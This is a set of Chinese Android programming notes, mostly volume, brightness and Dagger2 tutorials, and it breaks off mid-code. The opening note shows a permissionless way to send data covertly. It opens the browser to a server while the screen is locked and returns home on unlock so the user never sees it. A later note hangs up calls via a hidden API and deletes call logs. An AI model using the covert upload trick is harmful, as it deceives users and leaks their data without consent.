    "content": "零权限上传数据\n===\n\n虽然没有权限，但是也可以通过浏览器用`Get`方式来传递自己的数据，由于这样会打开浏览器，为了防止让用户看到，\n所以我们可以再用户锁屏之后开始传递数据，而在用户一解除锁屏我们就回到桌面，这里用`KeyguardManager`来实现，\n即在锁屏的时候键盘不能用，而一旦键盘能用了我们就立马回到桌面    \n```java\npublic void onCreate() {\n\ttimer = new Timer();\n\tkm = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);\n\trandom = new Random();\n\ttask = new TimerTask() {\n\t\t@Override\n\t\tpublic void run() {\n\t\t\tif (km.inKeyguardRestrictedInputMode()) {\n\t\t\t\tIntent intent = new Intent();\n\t\t\t\tintent.setAction(Intent.ACTION_VIEW);\n\t\t\t\tintent.addCategory(Intent.CATEGORY_BROWSABLE);\n\t\t\t\tintent.setData(Uri\n\t\t\t\t\t\t.parse(\"http://192.168.1.254:8080/web/UploadServlet?info=\"\n\t\t\t\t\t\t\t\t+ random.nextInt()));\n\t\t\t\tintent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n\t\t\t\tstartActivity(intent);\n\t\t\t}else{\t\t\n\t\t\t\t//回桌面.\n\t\t\t\tIntent intent = new Intent();\n\t\t\t\tintent.setAction(\"android.intent.action.MAIN\");\n\t\t\t\tintent.addCategory(\"android.intent.category.HOME\");\n\t\t\t\tintent.addCategory(Intent.CATEGORY_DEFAULT);\n\t\t\t\tintent.addCategory(\"android.intent.category.MONKEY\");\n\t\t\t\tintent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n\t\t\t\tstartActivity(intent);\n\t\t\t}\n\t\t}\n\t};\n\ttimer.schedule(task, 1000, 2000);\n\tsuper.onCreate();\n}\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/音量及屏幕亮度调节.md",
    "content": "音量及屏幕亮度调节\n===\n\n屏幕亮度调节\n---\n\n```java\n/**\n * 滑动改变亮度\n * @param percent\n */\nprivate void onBrightnessSlide(float percent) {\n\tif (mBrightness < 0) { // mBrightness是当前屏幕的亮度\n\t\tmBrightness = getWindow().getAttributes().screenBrightness;\n\t\tif (mBrightness <= 0.00f)\n\t\t\tmBrightness = 0.50f;\n\t\tif (mBrightness < 0.01f)\n\t\t\tmBrightness = 0.01f;\n\t\t// 显示\n\t\tmOperationBg.setImageResource(R.drawable.video_brightness_bg);\n\t\tmVolumeBrightnessLayout.setVisibility(View.VISIBLE);\n\t}\n\tWindowManager.LayoutParams lpa = getWindow().getAttributes();\n\tlpa.screenBrightness = mBrightness + percent;\n\tif (lpa.screenBrightness > 1.0f)\n\t\tlpa.screenBrightness = 1.0f;\n\telse if (lpa.screenBrightness < 0.01f)\n\t\tlpa.screenBrightness = 0.01f;\n\tgetWindow().setAttributes(lpa);\n\n\n\tViewGroup.LayoutParams lp = mOperationPercent.getLayoutParams();  //这部分是改变图片上面的当前亮度的进度的\n\tlp.width = (int) (findViewById(R.id.operation_full).getLayoutParams().width * lpa.screenBrightness);\n\tmOperationPercent.setLayoutParams(lp);\n}\n```\n音量调节\n---\n\n```java\n/**\n * 音量调节\n */\npublic class MainActivity extends Activity {\n    private static final String TAG = \"MainActivity\";\n    private AudioManager mAudioManager;\n    private int currentVolume;\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        mAudioManager = (AudioManager) getSystemService(AUDIO_SERVICE);\n        // 最大音量\n        int maxVolume = mAudioManager\n                .getStreamMaxVolume(AudioManager.STREAM_MUSIC);\n        Log.i(TAG, \"最大音量：\" + maxVolume);\n        currentVolume = mAudioManager\n                .getStreamVolume(AudioManager.STREAM_MUSIC);\n        Log.i(TAG, \"当前音量：\" + currentVolume);\n    }\n    public void up(View view) {\n        // 音量增大\n        // AudioManager.STREAM_SYSTEM\n        mAudioManager.adjustStreamVolume(AudioManager.STREAM_MUSIC,\n                AudioManager.ADJUST_RAISE, AudioManager.FX_FOCUS_NAVIGATION_UP);\n        currentVolume = mAudioManager\n                .getStreamVolume(AudioManager.STREAM_MUSIC);\n        Log.i(TAG, \"当前音量：\" + currentVolume);\n    }\n    public void down(View view) {\n        // 音量减小\n        mAudioManager.adjustStreamVolume(AudioManager.STREAM_MUSIC,\n                AudioManager.ADJUST_LOWER, AudioManager.FX_FOCUS_NAVIGATION_UP);\n        currentVolume = mAudioManager\n                .getStreamVolume(AudioManager.STREAM_MUSIC);\n        Log.i(TAG, \"当前音量：\" + currentVolume);\n    }\n}\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/黑名单挂断电话及删除电话记录.md",
    "content": "黑名单挂断电话及删除电话记录\n===\n\n1. 挂断电话     \n\t挂断电话需要申请权限`android.permission.CALL_PHONE`\n\t对于黑名单号码的来电如何挂断，由于监听来电时在`TelephonyManager`中进行监听的，在`Android1.5`之前，\n\t`TelephonyManager`中有一个`endCall()`方法能够直接挂断电话，但是后来谷歌工程师认为这样挂断电话是不安全的，所以就隐藏了这个方法。\n    挂断电话是Android中的一个远程服务，必须要拷贝系统的aidl文件，ITelephony.aidl，在自己的工程中新建一个包(com.android.internal.telephony)\n\t然后将ITelephony.aidl放到这个包中，但是发现报错了，原因是还要再考一个aidl文件NeighboringCellInfo.aidl，\n\t然后新建一个包(android.telephony)将这个aidl文件放入到这个包中。在程序中怎么使用呢?(这个ITelephony接口通常都是由TelephonyManager使用)\n\n    一般都是在电话来电状态监听的时候监听到了响铃状态时就挂断电话，但是仍会在来电记录中有记录\n\t```java\n    /**\n     * 挂断电话的方法.\n     */\n    public void endCall(String incomingNumber) {\n        try {\n            // Object obj = getSystemService(TELEPHONY_SERVICE);\n            // ITelephony iTelephony = ITelephony.Stub.asInterface((IBinder)\n            // obj);这样写得到的是IBinder的一个代理对象，会报错，所以要用下面的反射而不能这样做\n            Method method = Class.forName(\"android.os.ServiceManager\")\n                    .getMethod(\"getService\", String.class);//getSystemService内部就是调用了ServiceManager的getService方法。\n            IBinder binder = (IBinder) method.invoke(null,\n                    new Object[] { TELEPHONY_SERVICE });\n            ITelephony iTelephony = ITelephony.Stub.asInterface(binder);\n            iTelephony.endCall();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    } \n\t```\n\n2. 删除电话记录\n    删除通话记录要申请权限`android.permission.WRITE_CONTACTS`\n    而且通话记录并不是在挂断电话后立即生成的，所以这里要对通话记录的内容提供者注册一个内容观察者，在内容观察者观察到内容变化的时候再删除其中的数据。\n\n\t```java\n\tpublic class CallSmsFirewallService extends Service {\n\n\t\t@Override\n\t\tpublic void onCreate() {\n\t\t\ttm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);\n\t\t\tlistener = new PhoneListener();\n\t\t\ttm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);\n\t\t\tsuper.onCreate();\n\t\t}\n\n\t\t@Override\n\t\tpublic void onDestroy() {\n\t\t\ttm.listen(listener, PhoneStateListener.LISTEN_NONE);//服务关闭的时候就取消电话状态的监听\n\t\t}\n\n\t\tprivate class PhoneListener extends PhoneStateListener {\n\t\t\tlong startTime;\n\n\t\t\t@Override\n\t\t\tpublic void onCallStateChanged(int state, String incomingNumber) {\n\t\t\t\tswitch (state) {\n\n\t\t\t\tcase TelephonyManager.CALL_STATE_IDLE: // 空闲状态\n\t\t\t\tbreak;\n\t\t\t\tcase TelephonyManager.CALL_STATE_RINGING:\n\t\t\t\t\tString mode = dao.findMode(incomingNumber);\n\t\t\t\t\tif (\"1\".equals(mode) || \"2\".equals(mode)) {\n\t\t\t\t\t\tLog.i(TAG, \"挂断电话...\");\n\t\t\t\t\t\tendCall(incomingNumber);// 呼叫记录不是立刻生成的 .\n\t\t\t\t\t\t// 注册一个呼叫记录内容变化的内容观察者.\n\t\t\t\t\t\tUri uri = Uri.parse(\"content://call_log/calls\");\n\t\t\t\t\t\tgetContentResolver().registerContentObserver(uri, true,\n\t\t\t\t\t\t\t\tnew CallLogObserver(new Handler(), incomingNumber));\n\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tsuper.onCallStateChanged(state, incomingNumber);\n\t\t\t}\n\n\t\t}\n\n\t\tprivate class CallLogObserver extends ContentObserver {\n\t\t\tprivate String incomingNumber;\n\n\t\t\tpublic CallLogObserver(Handler handler, String incomingNumber) {\n\t\t\t\tsuper(handler);\n\t\t\t\tthis.incomingNumber = incomingNumber;\n\t\t\t}\n\n\t\t\t// 当观察到数据发生改变的时候调用的方法.\n\t\t\t@Override\n\t\t\tpublic void onChange(boolean selfChange) {\n\t\t\t\tLog.i(TAG, \"呼叫记录变化了.\");\n\t\t\t\tdeleteCallLog(incomingNumber);\n\t\t\t\tgetContentResolver().unregisterContentObserver(this);//删除完通话记录之后就立马进行移除内容观察者\n\t\t\t\tsuper.onChange(selfChange);\n\t\t\t}\n\n\t\t}\n\n\t\t/**\n\t\t * 挂断电话的方法.\n\t\t * \n\t\t * @param incomingNumber\n\t\t */\n\t\tpublic void endCall(String incomingNumber) {\n\t\t\ttry {\n\n\t\t\t\t// Object obj = getSystemService(TELEPHONY_SERVICE);\n\t\t\t\t// ITelephony iTelephony = ITelephony.Stub.asInterface((IBinder)\n\t\t\t\t// obj);\n\t\t\t\tMethod method = Class.forName(\"android.os.ServiceManager\")\n\t\t\t\t\t\t.getMethod(\"getService\", String.class);\n\t\t\t\tIBinder binder = (IBinder) method.invoke(null,\n\t\t\t\t\t\tnew Object[] { TELEPHONY_SERVICE });\n\t\t\t\tITelephony iTelephony = ITelephony.Stub.asInterface(binder);\n\t\t\t\tiTelephony.endCall();\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t\t/**\n\t\t * 移除呼叫记录\n\t\t * \n\t\t * @param incomingNumber\n\t\t */\n\t\tpublic void deleteCallLog(String incomingNumber) {\n\t\t\tUri uri = Uri.parse(\"content://call_log/calls\");\n\t\t\tgetContentResolver().delete(uri, \"number=?\",\n\t\t\t\t\tnew String[] { incomingNumber });\n\t\t}\n\t}\n\t```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck!\n"
  },
  {
    "path": "docs/android/AndroidNote/Dagger2/1.Dagger2简介(一).md",
    "content": "Dagger2简介(一)\n===\n\n[Dagger](https://github.com/google/dagger)\n\n> A fast dependency injector for Android and Java.\n\n`Dagger`是一个依赖注入(`Dependency Injection`,简称`DI`)框架，`butterknife`也是一个依赖注入框架。但是`Dagger2`比`Butterknife`更强大的多，它的主要作用，就是对象的管理，其目的是为了降低程序耦合。\n\n有关注解和`ButterKnife`的解析请看之前的文章:[注解使用](https://github.com/CharonChui/AndroidNote/blob/master/AdavancedPart/%E6%B3%A8%E8%A7%A3%E4%BD%BF%E7%94%A8.md)及[ButterKnife源码解析](https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/butterknife%E6%BA%90%E7%A0%81%E8%AF%A6%E8%A7%A3.md)\n\n那么神马是依赖注入，其实我们一直在用:   \n\n- 通过接口注入     \n\n    ```java\n    interface Ib {\n    \tvoid setB(B b)\n    }\n    public class A implements Ib  {\n    \tB b;\n    \t@override\n    \tvoid setB(B b) {\n    \t\tthis.b = b;\n    \t}\n    }\n    ```\n\n- 通过`set`方法注入    \n\n    ```java\n\tpublic class ClassA {\n\t    ClassB classB;  \n\n\t    public void setClassB(ClassB b) {\n\t        classB = b;\n\t    }\n\t}\n    ```\n\n- 通过构造方法注入     \n\n```java\npublic class ClassA {\n    ClassB classB;\n    \n    public void ClassA(ClassB b) {\n        classB = b;\n    }\n}\n```\n\n- 通过注解的方式注入\n\n\t```java\n\tpublic class ClassA {\n\t    //此时并不会完成注入，\n\t    //还需要依赖注入框架的支持，如Dagger2\n\t    @inject \n\t    ClassB classB;\n\t    public ClassA() {}\n\t}\n\t```\n\n说了这么久，也不知道到底这货有什么用，这里举个例子，比如有个类`A`，他的构造函数需要传入`B,C`；然后代码里有10个地方实例化了`A`，那如果功能更改，`A`的构造函数改成了只有`B`，这个时候，你是不是要去这10个地方一个一个的改？如果是100个地方，你是不是要吐血？！如果采用`dagger2`，这样的需求只需要改1-2个地方。这是真的吗？听起来好像挺牛逼的样子。 \n\n\n也有人怀疑`Dagger2`利用注解是不是采用了反射，会影响性能，这个问题其实在之前的文章[ButterKnife源码解析](https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/butterknife%E6%BA%90%E7%A0%81%E8%AF%A6%E8%A7%A3.md)就已经介绍过了。`Dagger2`、`ButterKnife`这类依赖注入框架都已经采用了`apt`代码自动生成技术，其注解是停留在编译时，可以不用考虑性能的问题。\n\n\n下一篇:[2.Dagger2入门demo(二)](https://github.com/CharonChui/AndroidNote/blob/master/Dagger2/2.Dagger2%E5%85%A5%E9%97%A8demo(%E4%BA%8C).md)\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Dagger2/2.Dagger2入门demo(二).md",
    "content": "Dagger2入门demo(二)\n===\n\n`Dagger`中使用了很多注解:   \n\n- `@Module`:`Modules`类里面的方法专门提供依赖，所以我们定义一个类，用`@Module`注解，这样`Dagger`在构造类的实例的时候，就知道从哪里去找到需要的 依赖。`modules`的一个重要特征是它们设计为分区并组合在一起（比如说，在我们的`app`中可以有多个组成在一起的`modules`)\n- `@Provide`:在`modules`中，我们定义的方法是用这个注解，以此来告诉`Dagger`我们想要构造对象并提供这些依赖。\n- `@Singleton`:当前提供的对象将是单例模式 ,一般配合`@Provides`一起出现\n- `@Component`:用于接口，这个接口被`Dagger2`用于生成用于模块注入的代码\n- `@Inject`:在需要依赖的地方使用这个注解。（你用它告诉`Dagger`这个构造方法，成员变量或者函数方法需要依赖注入。这样`Dagger`就会构造一个这个类的实例并满足他们的依赖。）\n- `@Scope`:`Scopes`可是非常的有用，`Dagger2`可以通过自定义注解限定注解作用域。\n\n\n这个东西不太好入门，这里就直接用例子上代码了。有关如何添加以来在`github`上面写的很清楚了，`android`在`build.gradle`中进行配置就好了。   \n\n这里就用[dagger官方的coffee的例子说明](https://github.com/google/dagger/tree/master/examples/simple/src/main/java/coffee)\n\n官方`demo`描述的是:一个泵压式咖啡机`(CoffeeMaker)`由两个主要零件组成，泵浦`(Pump)`和加热器`(Heater)`，咖啡机有一个功能是煮泡咖啡`(brew)`，\n当进行煮泡咖啡时，会按如下几个步骤进行:     \n\n- 打开加热器进行加热\n- 泵浦加压\n- 萃取出咖啡\n- 然后关闭加热器\n\n一杯咖啡就算制作完毕了。\n\n好了，那我们先开始写代码了(我把官方的示例代码进行了简化，方便更好的理解):\n\n定义加热器接口:   \n```java\ninterface Heater {\n    void on();\n    void off();\n}\n```\n\n具体实现类:   \n```java\nclass ElectricHeater implements Heater {\n \n    @Override\n    public void on() {\n        System.out.println(\"~ ~ ~ heating ~ ~ ~\");\n    }\n\n    @Override\n    public void off() {\n        \n    }\n}\n```\n\n定义泵浦接口:   \n```java\ninterface Pump {\n    void pump();\n}\n```\n\n具体实现类:   \n```java\nclass Thermosiphon implements Pump {\n    \n    Thermosiphon() {\n   \n    }\n\n    @Override\n    public void pump() {\n        System.out.println(\"=> => pumping => =>\");\n    }\n}\n```\n\n咖啡机功能:   \n```java\nclass CoffeeMaker {\n    private final Heater heater;\n    private final Pump pump;\n\n    CoffeeMaker() {\n        heater = new ElectricHeater();\n        pump = new Thermosiphon();\n    }\n\n    public void brew() {\n        heater.on();\n        pump.pump();\n        System.out.println(\" [_]P coffee! [_]P \");\n        heater.off();\n    }\n}\n```\n\n好了完成了，如果执行的话运行结果是:    \n```\n~ ~ ~ heating ~ ~ ~\n=> => pumping => =>\n [_]P coffee! [_]P \n```\n\n完美，上面是我们普通的开发方式，那如果我们要用`dagger`来实现该怎么弄呢?    \n\n首先这几个类是没有改动的，因为这几个类中没有牵扯到其他的类:   \n```java\ninterface Pump {\n  void pump();\n}\n\ninterface Heater {\n  void on();\n  void off();\n}\n\nclass ElectricHeater implements Heater {\n\n  @Override \n  public void on() {\n    System.out.println(\"~ ~ ~ heating ~ ~ ~\");\n  }\n\n  @Override \n  public void off() {\n    \n  }\n}\n```\n\n下面就开始使用`dagger`需要改动的部分，首先创建`module`类。`@Module`类的命名惯例是以`Module`作为类名称的结尾。而`@Module`类中的`@Provides`方法名称的命名惯例是以`provide`作为前缀。\n而这个`Module`是干什么的呢？`Module`管理所有的以来，这里你做咖啡需要以来泵浦`(Pump)`和加热器`(Heater)`，所以可以创建`Module`把他们`Pump`和`Heater`管理起来，方便\n之后获取`Pump`和`Heater`对象，所以它里面会有`provideXXX()`的函数。   \n\n\n- 第一步:增加`Module`类，使用`@Module`声明类(可以将Module理解成生产对象的工厂，里面提供了`provideXXX`这种生产对象的方法)\n\n```java\n@Module // Module注明该类是Module类\npublic class CoffeeModule {\n    @Provides // Provides注明该方法是用来提供依赖对象的方法\n    Heater provideHeater() {\n        return new ElectricHeater();\n    }\n    @Provides\n    Pump providePump() {\n        return new Thermosiphon();\n    }\n}\n```\n\n- 第二步:增加接口`Component`,使用`@Component`声明(`Componet`是将`Module`中生产的对象注入到对应的需要使用该对象的类中)    \n```java\n// 这里是声明要从CoffeeModule中去找对应的依赖，从`CoffeeModule`中去通过`provideXXX`方法来获取对应的对象\n@Component(modules = CoffeeModule.class)\n// 该接口会在编译时自动生成对应的实现类，这里是DaggerCoffeeComponent\npublic interface CoffeeComponent {\n    // 提供一个供目标类使用的注入方法,该方法表示要将Module中的管理类注入到哪个类中，这里当然是CoffeeMaker，因为我们要用他俩去生产咖啡\n    void inject(CoffeeMaker maker);\n}\n```\n\n注意:`@Component(modules = {AModule.class,BModule.class})`可以设置多个`Module`，而且也可以`@Component(modules = {MainModule.class}, dependencies = AppConponent.class)`\n指定依赖的`Module`和父`Component`\n\n- 第三步:`Inject`注入\n```java\nimport javax.inject.Inject;\n\nclass CoffeeMaker {\n    @Inject // 标记该对象是被注入的\n    Heater heater;\n    @Inject\n    Pump pump;\n\n\n    CoffeeMaker() {\n    \t// DaggerCoffeeComponent这个类会在编译时产生，所以可以build一下\n        CoffeeComponent component = DaggerCoffeeComponent.create();\n        // 注入\n        component.inject(this);\n\n        // 或者使用下面的代码也是可以的\n        //        DaggerCoffeeComponent.builder()\n\t\t//                .coffeeModule(new CoffeeModule())\n\t\t//                .build()\n\t\t//                .inject(this);\n    }\n\n    public void brew() {\n        heater.on();\n        pump.pump();\n        System.out.println(\" [_]P coffee! [_]P \");\n        heater.off();\n    }\n}\n```\n\n到这里就完成了，执行的话，结果是一样的:    \n```\n04-20 15:16:55.083 16375-16375/com.charon.stplayer I/System.out: ~ ~ ~ heating ~ ~ ~\n04-20 15:16:55.084 16375-16375/com.charon.stplayer I/System.out: => => pumping => =>\n     [_]P coffee! [_]P \n```\n\n到这里你肯定就迷糊了，为什么？ 本来很简单的东西，你还多搞出来几个类，弄的这么麻烦。但是麻烦吗？ 你要是有十个地方呢？ 一百个地方呢？ 以后你修改怎么改？ 一百个地方都改吗？\n\n好了，最后来个总结，高中老师讲的，要来个综上所述: \n\n- 通过`@Module`声明一个`XXXModule`类，用于管理所有依赖，并使用`@Provides`为每个依赖提供`provideXXX()`方法    \n- 通过`@Component`声明一个`XXXComponent`接口，并且声明要从哪些`Module`中寻找依赖     \n    - 声明要去哪些`Module`中寻找依赖\n        `@Component(modules = CoffeeModule.class)`\n    - 提供一个供目标类使用的注入方法     \n        `void inject(CoffeeMaker maker);`    \n    - 为所有的依赖添加一个方法\n        这个说起来就有点多了，而且我们上面的代码中并没有进行这一步操作，这是因为方法也可以不写，但是如果要写，就按照这个格式来\n        但是当`Component`要被别的`Component`依赖时，这里就必须写这个方法，不写代表不向别的`Component`暴露此依赖，而且如果要写的话\n        这些方法返回值必须是从上面指定的依赖库`CoffeeModule.class`中取得的对象,注意：而方法名不一致也行，但是方便阅读，建议一致，因为它主要是根据返回值类型来找依赖的。\n        这里如果要写的话就是\n        ```java\n\t\tHeater provideHeater();\n\t\tPump providePump();\n        ```\n- 目标类使用依赖注入,首先是使用`@Inject`声明属性变量，表示注入这个依赖，然后是调用`inject()`方法注入依赖。\n\n\n下面来个图，能够更方便的去理解:   \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/dagger2_liu.png?raw=true)    \n上图中:   \n- `Container`就是可以被注入的容器，具体对应上文例子中的`CoffeeMaker`，`Container`拥有需要被初始化的元素。需要被初始化的元素必须标上`@Inject`，只有被标上`@Inject`的元素才会被自动初始化。`@Inject`在`Dagger2`中一般标记构造方法与成员变量。\n- `Module`可以说就是依赖的原材料的制造工厂，所有需要被注入的元素的实现都是从`Module`生产的。\n- 有了可以被注入的容器`Container`，也有了提供依赖对象的`Module`。我们必须将依赖对象注入到容器中，这个过程由`Component`来执行。`Component`将`Module`中产生的依赖对象自动注入到`Container`中。\n\n好像大体明白了点....\n\n\n上面有`DaggerBaseComponent.create();`和`DaggerBaseComponent.builder().build()`两种方式有什么区别呢？ 我们看一下源码:   \n\n```java\n  public static Builder builder() {\n    return new Builder();\n  }\n\n  public static BaseComponent create() {\n    return new Builder().build();\n  }\n```\n\n`Dagger2`会自动生成该接口的实现类(以`Dagger`开头，如果`@Component`注解类不是顶级类，自动生成的实现类的名字会闭包命名并用下划线分割如`DaggerFoo_Bar_BazComponent)`，可以通过该实现类的`builder()`方法获得`builder`对象，`builder`对象可以设置好依赖，最后通过`build()`方法构建实例：\n```java\nCoffeeShop coffeeShop = DaggerCoffeeShop.builder()\n    .dripCoffeeModule(new DripCoffeeModule())\n    .build();\n```\n\n如果`Modules`都是缺省构造器，`@Provides`方法都是静态的，用户不需要构建依赖实例，那么自动生成的实现类就会有`create()`方法获取新实例，就不需要处理`builder`了。\n```java\npublic class CoffeeApp {\n  public static void main(String[] args) {\n    CoffeeShop coffeeShop = DaggerCoffeeShop.create();\n    coffeeShop.maker().brew();\n  }\n}\n```\n\n下一篇:[3.Dagger2入门demo扩展(三)](https://github.com/CharonChui/AndroidNote/blob/master/Dagger2/3.Dagger2%E5%85%A5%E9%97%A8demo%E6%89%A9%E5%B1%95(%E4%B8%89).md)\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Dagger2/3.Dagger2入门demo扩展(三).md",
    "content": "Dagger2入门demo扩展(三)\n===\n\n上一篇文章中讲了一个入门的例子，感觉虽然不懂内部怎么实现的，好像大体知道要怎么去用了，理解了每部分都是干什么的，既然都讲了例子了，那就继续用\n这个例子讲下如果被依赖的类的构造函数带有参数，我们该怎么去处理？\n\n现在大夏天的我们平时去吧台打咖啡都想来点清凉的，透心凉，心飞扬，那怎么办？这时候我们是不是该提供一个加冰块的功能啊？ \n\n> 咖啡小姐姐把咖啡豆进行研磨成粉，然后放到咖啡机中，用热水和加压器去从咖啡粉中流过，这样就出来一小杯原酿咖啡了...，然后可以加点牛奶啊，加点糖啊。\n\n好了，既然要加冰块，那就加呗，但是冰块放到哪里？ 咖啡机要有一个放冰块的空间吧？而且还不能让冰块放到这里那么热不融化了吗？ 所以要有个小冰箱啊.\n```java\npublic interface Ice {\n\tvoid add();\n}\n\npublic interface IceBox {\n\tvoid addIce();\n}\n\npublic class NajiIce implements  Ice{\n    public NajiIce() {\n\n    }\n    @Override\n    public void add() {\n        System.out.println(\"加冰了，心飞扬\");\n    }\n}\n\npublic class HaierIceBox implements  IceBox {\n    Ice ice;\n    public IceBox(Ice ice) {\n        this.ice = ice;\n    }\n\t@Override\n    public void addIce() {\n        ice.add();\n    }\n}\n```\n\n设计完了，那按照我们平时的使用，改造一下`CoffeeMaker`类:   \n```java\nclass CoffeeMaker {\n    private final Heater heater;\n    private final Pump pump;\n    private final IceBox iceBox;\n    private Ice ice;\n\n    CoffeeMaker() {\n        heater = new ElectricHeater();\n        pump = new Thermosiphon();\n        ice = new NajiIce()\n        iceBox = new HaierIceBox(ice);\n    }\n\n    public void brew() {\n        heater.on();\n        pump.pump();\n        System.out.println(\" [_]P coffee! [_]P \");\n        iceBox.addIce();\n        heater.off();\n    }\n}\n```\n好了，这样就可以了,执行一下:   \n```\n04-20 17:12:01.626 20240-20240/com.charon.stplayer I/System.out: ~ ~ ~ heating ~ ~ ~\n    => => pumping => =>\n     [_]P coffee! [_]P \n    加冰了，心飞扬\n```\n\n那通过`dagger2`怎么使用呢?我们还要按照上一篇文章的步骤来:    \n\n- 首先来到`CoffeeModule`类中，让他把`Ice`和`IceBox`管理起来，一定要记得引入`Ice`，因为`IceBox`依赖了`Ice`，这是一个依赖链条，要把这个链条上的所有依赖，都管理起来。\n\n```java\nimport dagger.Module;\nimport dagger.Provides;\n\n@Module\npublic class CoffeeModule {\n    @Provides\n    Heater provideHeater() {\n        return new ElectricHeater();\n    }\n    @Provides\n    Pump providePump() {\n        return new Thermosiphon();\n    }\n    @Provides\n    Ice provideIce() {\n        return new NanjiIce();\n    }\n    @Provides\n    IceBox provideIceBox(Ice ice) {\n        return new HaierIceBox(ice);\n    }\n}\n```\n\n- 修改`CoffeeComponent`类，增加`Ice`和`IceBox`对应的方法:   \n```java\n@Component(modules = CoffeeModule.class)\npublic interface CoffeeComponent {\n    void inject(CoffeeMaker maker);\n    \n    Heater provideHeater();\n    Pump providePump();\n    Ice provideIce();\n    IceBox provideIceBox(Ice ice);\n}\n```\n\n- 在目标类中增加注入\n```java\nclass CoffeeMaker {\n    @Inject\n    Heater heater;\n    @Inject\n    Pump pump;\n    @Inject\n    IceBox iceBox;\n\n    CoffeeMaker() {\n        CoffeeComponent component = DaggerCoffeeComponent.create();\n        component.inject(this);\n    }\n\n    public void brew() {\n        heater.on();\n        pump.pump();\n        System.out.println(\" [_]P coffee! [_]P \");\n        iceBox.addIce();\n        heater.off();\n    }\n}\n```\n\n好了，完成了，运行下吧，卧草,崩了!\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/dagger_param_crash_log.png?raw=true\" width=\"100%\" height=\"100%\">\n\n写的很明白了，就是`Compnonet`中声明的方法不能带参数。\n好，我们修改一下把`provideIceBox(Ice ice)`的`ice`参数去掉:      \n```java\n@Component(modules = CoffeeModule.class)\npublic interface CoffeeComponent {\n    void inject(CoffeeMaker maker);\n\n    Heater provideHeater();\n    Pump providePump();\n    Ice provideIce();\n    IceBox provideIceBox();\n}\n```\n好了，再运行一下:   \n```\n04-20 17:30:07.125 20916-20916/com.charon.stplayer I/System.out: ~ ~ ~ heating ~ ~ ~\n    => => pumping => =>\n     [_]P coffee! [_]P \n    加冰了，心飞扬\n```\n完美\n\n总结一下:   \n如果被依赖类的构造函数带有参数，要把这个参数的类型也管理起来，而且`Component`接口中的方法不能带参数。    \n\n\n那么问题又来了，前面我们讲的例子都是依赖类只有一个构造函数，直接反射创建就好了，假如我们的依赖类有多个构造函数呢？该如何去选择根据不同的构造函数\n生成对应的对象呢？  \n\n假设我们的咖啡机里又加新功能了，只加冰虽然凉了，但是口感不够丝滑，想再加点牛奶，享受丝滑般的感受。 \n好了新建一个牛奶类:   \n```java\npublic class Milk {\n    String type;\n    public Milk() {\n        type = \"\";\n    }\n\n    public Milk(String shuiguo) {\n        type = shuiguo;\n    }\n\n    public void addMilk() {\n        System.out.println(\"添加:\" + type + \"牛奶\");\n    }\n}\n```  \n\n接下来要用到一个比较重要的东西就是限定符，用来区分哪个构造函数`new`出来的对象:   \n```java\n@Qualifier//限定符\n@Documented\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Type {\n    String value() default \"\";//默认值为\"\"\n}\n```\n\n这里插入一句，上面我们是使用`@Qualifier`自定义了一个限定符功能，其实这种返回值相同的情况是比较常见的，`Dagger2`中已经为我们提供了类似的自定义限定符`@Named`，我们可以直接使用`@Named`,\n这里看一下它的实现:    \n```java\n@Qualifier\n@Documented\n@Retention(RUNTIME)\npublic @interface Named {\n\n    /** The name. */\n    String value() default \"\";\n}\n```\n看到了吗？ 和我们上面定义的`Type`注解一模一样。\n\n接下来就是修改`Moudle`类，并且用上面我们创建的限定符`@Type`来区分不同的构造函数`new`出来的对象:   \n```java\n@Module\npublic class CoffeeModule {\n    @Provides\n    Heater provideHeater() {\n        return new ElectricHeater();\n    }\n\n    @Provides\n    Pump providePump() {\n        return new Thermosiphon();\n    }\n\n    @Provides\n    Ice provideIce() {\n        return new NanjiIce();\n    }\n\n    @Provides\n    IceBox provideIceBox(Ice ice) {\n        return new HaierIceBox(ice);\n    }\n\n    @Provides\n    @Type(\"normal\")\n    Milk provideNormalMilk() {\n        return new Milk();\n    }\n\n    @Provides\n    @Type(\"shuiguo\") \n    Milk provideShuiGuoMilk(String shuiguo) {\n        return new Milk(shuiguo);\n    }\n\n    //    由于Milk构造函数里使用了String,所以这里要管理这个String(★否则报错)\n    //    int等基本数据类型是不需要这样做的\n    @Provides\n    public String provideString() {\n        return new String();\n    }\n}\n```\n\n接下来继续修改`Component`类:  \n```java\n@Component(modules = CoffeeModule.class)\npublic interface CoffeeComponent {\n    void inject(CoffeeMaker maker);\n\n    Heater provideHeater();\n    Pump providePump();\n    Ice provideIce();\n    IceBox provideIceBox();\n\n    // 添加新提价的方法，注意这里也要用@Type声明，因为是通过@Type的值来去找不同的构造函数创建对象的\n    @Type(\"normal\")\n    Milk provideNormalMilk();\n    @Type(\"shuiguo\")\n    Milk provideShuiGuoMilk();\n    String provideString();\n}\n```\n我们在`CoffeeMaker`里面修改对应的代码:    \n```java\nimport javax.inject.Inject;\n\nclass CoffeeMaker {\n    @Inject\n    Heater heater;\n    @Inject\n    Pump pump;\n    